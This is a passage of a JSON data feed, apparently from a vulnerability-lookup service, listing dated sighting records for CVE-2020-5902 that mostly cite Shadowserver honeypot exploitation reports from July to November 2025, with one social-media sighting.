"content": "", "creation_timestamp": "2025-07-16T00:00:00.000000Z"}, {"uuid": "cf0389e5-3cb4-4295-bbdf-169850453e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-18)", "content": "", "creation_timestamp": "2025-10-18T00:00:00.000000Z"}, {"uuid": "068131bf-1439-43d0-b756-d349726e50ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-21)", "content": "", "creation_timestamp": "2025-07-21T00:00:00.000000Z"}, {"uuid": "b48ef4e6-c3b2-4843-815d-ab4b1d8f8ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-01)", "content": "", "creation_timestamp": "2025-10-01T00:00:00.000000Z"}, {"uuid": "cc76b69e-0fcc-4bd2-86a5-35cc80f184de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-21)", "content": "", "creation_timestamp": "2025-10-21T00:00:00.000000Z"}, {"uuid": "480d22f2-287e-4dc9-b17c-db5763ae9a9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-23)", "content": "", "creation_timestamp": "2025-07-23T00:00:00.000000Z"}, {"uuid": "35932c31-bf3a-4253-83d5-b5d66471de60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-12)", "content": "", "creation_timestamp": "2025-09-12T00:00:00.000000Z"}, {"uuid": "57fbff64-9eb2-42f1-9009-77d58a81e13c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-05)", "content": "", "creation_timestamp": "2025-09-05T00:00:00.000000Z"}, {"uuid": "14d133f3-550e-4b16-8afb-14c6810387fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-27)", "content": "", "creation_timestamp": "2025-10-27T00:00:00.000000Z"}, {"uuid": "95eb72f6-e8e1-40e6-8f3e-c7ad648dd52a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-25)", "content": "", "creation_timestamp": "2025-10-25T00:00:00.000000Z"}, {"uuid": "fd708ea7-26b9-4dd6-ab08-f119608ffd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-13)", "content": "", "creation_timestamp": "2025-10-13T00:00:00.000000Z"}, {"uuid": "0227bece-7726-4522-8c34-396864e0ccfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-17)", "content": "", "creation_timestamp": "2025-11-17T00:00:00.000000Z"}, {"uuid": "01971abd-7edb-41af-b543-0fec0dbe6dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-29)", "content": "", "creation_timestamp": "2025-10-29T00:00:00.000000Z"}, {"uuid": "0528a059-5b2c-45d5-8b6a-7e09bebb6cdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-06)", "content": "", "creation_timestamp": "2025-10-06T00:00:00.000000Z"}, {"uuid": "747bbeb8-152c-41d4-a268-d6fd4a350e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-20)", "content": "", "creation_timestamp": "2025-09-20T00:00:00.000000Z"}, {"uuid": "f2ddcf97-ea86-44ae-8fc0-98d832616982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-15)", "content": "", "creation_timestamp": "2025-10-15T00:00:00.000000Z"}, {"uuid": "ddb9f60f-d71f-4f29-90e0-8efe863d0214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-15)", "content": "", "creation_timestamp": "2025-11-15T00:00:00.000000Z"}, {"uuid": "4f48f9b7-2d9a-4d35-a28a-025fd50b59e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-09)", "content": "", "creation_timestamp": "2025-09-09T00:00:00.000000Z"}, {"uuid": "5751d59e-baba-4807-bed5-603640fd6b70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-04)", "content": "", "creation_timestamp": "2025-08-04T00:00:00.000000Z"}, {"uuid": "179088b7-94c9-47cb-bd0d-a309608f6608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-31)", "content": "", "creation_timestamp": "2025-10-31T00:00:00.000000Z"}, {"uuid": "e175e3d2-c2dc-42e2-b431-3959824b0ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-05)", "content": "", "creation_timestamp": "2025-08-05T00:00:00.000000Z"}, {"uuid": "c09268e2-d739-4efb-b48b-9b214d6a5054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-02)", "content": "", "creation_timestamp": "2025-10-02T00:00:00.000000Z"}, {"uuid": "a20584a3-8f49-4f4d-9f5f-ba0fa9cb43b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-06)", "content": "", "creation_timestamp": "2025-08-06T00:00:00.000000Z"}, {"uuid": "c390baf4-da71-4b4d-a121-72a5e185993d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-19)", "content": "", "creation_timestamp": "2025-10-19T00:00:00.000000Z"}, {"uuid": "e815a225-4e97-4ab8-9691-316ae7acdbae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-13)", "content": "", "creation_timestamp": "2025-09-13T00:00:00.000000Z"}, {"uuid": "d70edd1c-076b-4dba-afe0-f533bec3ac1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-03)", "content": "", "creation_timestamp": "2025-11-03T00:00:00.000000Z"}, {"uuid": "596dd67f-164a-4cc1-b49d-39ce2bd7cf6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-20)", "content": "", "creation_timestamp": "2025-11-20T00:00:00.000000Z"}, {"uuid": "521cbcc8-5d02-4c74-9480-82ff52217b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-07)", "content": "", "creation_timestamp": "2025-08-07T00:00:00.000000Z"}, {"uuid": "7da57fe3-9438-4090-80e3-8179df5e22af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-06)", "content": "", "creation_timestamp": "2025-09-06T00:00:00.000000Z"}, {"uuid": "091fa170-a21c-4b2b-a1fa-b75b50262a6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-08)", "content": "", "creation_timestamp": "2025-08-08T00:00:00.000000Z"}, {"uuid": "ba4b5313-c30a-4763-af14-0bedfbab2203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-09)", "content": "", "creation_timestamp": "2025-08-09T00:00:00.000000Z"}, {"uuid": "8b7db788-b261-4ef5-bf4b-b1f4cca66ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-08)", "content": "", "creation_timestamp": "2025-10-08T00:00:00.000000Z"}, {"uuid": "58948ebe-935b-4b0e-bcaf-09b8702ced85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-10)", "content": "", "creation_timestamp": "2025-08-10T00:00:00.000000Z"}, {"uuid": "4bed542b-8848-482f-a44d-c9f80a33e7f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-06)", "content": "", "creation_timestamp": "2025-11-06T00:00:00.000000Z"}, {"uuid": "4550bc43-cc37-4716-bf0a-39684d124cb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-11)", "content": "", "creation_timestamp": "2025-08-11T00:00:00.000000Z"}, {"uuid": "c3f27c51-bf9c-424d-bad9-683d0ce91bea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-08)", "content": "", "creation_timestamp": "2025-11-08T00:00:00.000000Z"}, {"uuid": "d23a0fc2-33c5-4b5c-a919-762d04ba25d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-01)", "content": "", "creation_timestamp": "2025-11-01T00:00:00.000000Z"}, {"uuid": "7f289358-7315-4970-9cf2-7acaee582845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-12)", "content": "", "creation_timestamp": "2025-08-12T00:00:00.000000Z"}, {"uuid": "2c8dfde1-e042-4ec0-8a77-30e65779093b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-07)", "content": "", "creation_timestamp": "2025-09-07T00:00:00.000000Z"}, {"uuid": "3c0ca5b8-10a3-4c37-a110-657ade2d9863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-13)", "content": "", "creation_timestamp": "2025-08-13T00:00:00.000000Z"}, {"uuid": "30eb220d-24b0-4167-b6f8-c92544d10bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-14)", "content": "", "creation_timestamp": "2025-09-14T00:00:00.000000Z"}, {"uuid": "ffb092c9-7bf8-4f8e-ac26-5067fc796331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-03)", "content": "", "creation_timestamp": "2025-10-03T00:00:00.000000Z"}, {"uuid": "1edb8ca9-5c22-49bb-8ff4-9a3a9f6957ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-16)", "content": "", "creation_timestamp": "2025-11-16T00:00:00.000000Z"}, {"uuid": "5f2b7a74-1e75-492f-9265-ba94f5886848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-12)", "content": "", "creation_timestamp": "2025-11-12T00:00:00.000000Z"}, {"uuid": "234ffbe0-b568-4cab-bb4b-41057a8785f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-14)", "content": "", "creation_timestamp": "2025-08-14T00:00:00.000000Z"}, {"uuid": "84ba9d56-cfea-4c5a-9901-268d760d9717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-10)", "content": "", "creation_timestamp": "2025-11-10T00:00:00.000000Z"}, {"uuid": "896f6d1e-b34f-4e65-90ba-51d3afc009f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-15)", "content": "", "creation_timestamp": "2025-08-15T00:00:00.000000Z"}, {"uuid": "02278cbc-ca07-44f5-aa84-5505847e903c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://bsky.app/profile/u2k25.bsky.social/post/3lwl6le4ymk2f", "content": "", "creation_timestamp": "2025-08-17T05:45:51.330083Z"}, {"uuid": "9c2956c7-50ff-4de2-8987-c9c74075753a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-16)", "content": "", "creation_timestamp": "2025-08-16T00:00:00.000000Z"}, {"uuid": "d4001358-8cf6-4a72-9bde-544d6eef3b55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-13)", "content": "", "creation_timestamp": "2025-11-13T00:00:00.000000Z"}, {"uuid": "7a452849-e0e0-4b90-a745-41da5509f4b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-26)", "content": "", "creation_timestamp": "2025-10-26T00:00:00.000000Z"}, {"uuid": "46a28220-ded9-4f0a-97a0-8ec2fcbd8402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-10)", "content": "", "creation_timestamp": "2025-09-10T00:00:00.000000Z"}, {"uuid": "ca7a61d0-73a0-474a-8bb1-108cd39967f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-17)", "content": "", "creation_timestamp": "2025-08-17T00:00:00.000000Z"}, {"uuid": "a44710cf-e511-4541-b948-3b019d4d3084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-09)", "content": "", "creation_timestamp": "2025-10-09T00:00:00.000000Z"}, {"uuid": "2f090a5d-efa8-48ab-b30c-4b4d99fd78e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-19)", "content": "", "creation_timestamp": "2025-11-19T00:00:00.000000Z"}, {"uuid": "8ea36e8b-ea54-42d5-ac31-c6eefb0bd4e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-20)", "content": "", "creation_timestamp": "2025-10-20T00:00:00.000000Z"}, {"uuid": "09cae286-fb1f-47a3-8893-206bcd1cccf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-18)", "content": "", "creation_timestamp": "2025-08-18T00:00:00.000000Z"}, {"uuid": "3ca56f00-7943-42c0-b55a-347d321d6bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-11)", "content": "", "creation_timestamp": "2025-10-11T00:00:00.000000Z"}, {"uuid": "131dddd9-5797-4023-97f7-fb80653f570b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-16)", "content": "", "creation_timestamp": "2025-10-16T00:00:00.000000Z"}, {"uuid": "252f0941-7341-4079-9227-979b26cae471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-22)", "content": "", "creation_timestamp": "2025-10-22T00:00:00.000000Z"}, {"uuid": "116038f1-908b-4294-9016-c572f96d57f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-28)", "content": "", "creation_timestamp": "2025-10-28T00:00:00.000000Z"}, {"uuid": "6fd5f636-ca7d-4155-be0b-dde368f889eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-04)", "content": "", "creation_timestamp": "2025-10-04T00:00:00.000000Z"}, {"uuid": "cd18fb58-31fc-4c3b-b712-fc179ad93dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-30)", "content": "", "creation_timestamp": "2025-10-30T00:00:00.000000Z"}, {"uuid": "b690ab58-6f66-4914-b117-93f67a1d7c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-02)", "content": "", "creation_timestamp": "2025-11-02T00:00:00.000000Z"}, {"uuid": "6397ad8c-0258-4c84-b263-3ba73d04e30f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-23)", "content": "", "creation_timestamp": "2025-08-23T00:00:00.000000Z"}, {"uuid": "e5dd55fd-d3ea-4f73-a15f-4d2afbdafdd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-07)", "content": "", "creation_timestamp": "2025-10-07T00:00:00.000000Z"}, {"uuid": "50c95392-2d0e-4fd1-b336-897d50c9ae18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-10)", "content": "", "creation_timestamp": "2025-10-10T00:00:00.000000Z"}, {"uuid": "d23e3c30-df10-48b7-a23e-a31b1ba2bb4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-05)", "content": "", "creation_timestamp": "2025-11-05T00:00:00.000000Z"}, {"uuid": "5a3e686e-bddd-4eb1-a6d5-66ea1a79d8c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-08)", "content": "", "creation_timestamp": "2025-09-08T00:00:00.000000Z"}, {"uuid": "77305846-5f89-4eaf-b839-e0c098ee15a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-18)", "content": "", "creation_timestamp": "2025-11-18T00:00:00.000000Z"}, {"uuid": "fd1c8853-88c0-4649-b2cc-fef8695d0965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-24)", "content": "", "creation_timestamp": "2025-10-24T00:00:00.000000Z"}, {"uuid": "2c7e1009-a278-4566-b59a-aa928f3eabe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-27)", "content": "", "creation_timestamp": "2025-11-27T00:00:00.000000Z"}, {"uuid": "65b44152-6ac4-42d1-9545-6d4794feda40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-24)", "content": "", "creation_timestamp": "2025-08-24T00:00:00.000000Z"}, {"uuid": "6e961bc6-5bcc-4e0c-8375-f75268455dcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-12)", "content": "", "creation_timestamp": "2025-10-12T00:00:00.000000Z"}, {"uuid": "ef9e50a3-71f4-478d-93b7-a9bd36f89d30", "vulnerability_lookup_origin": 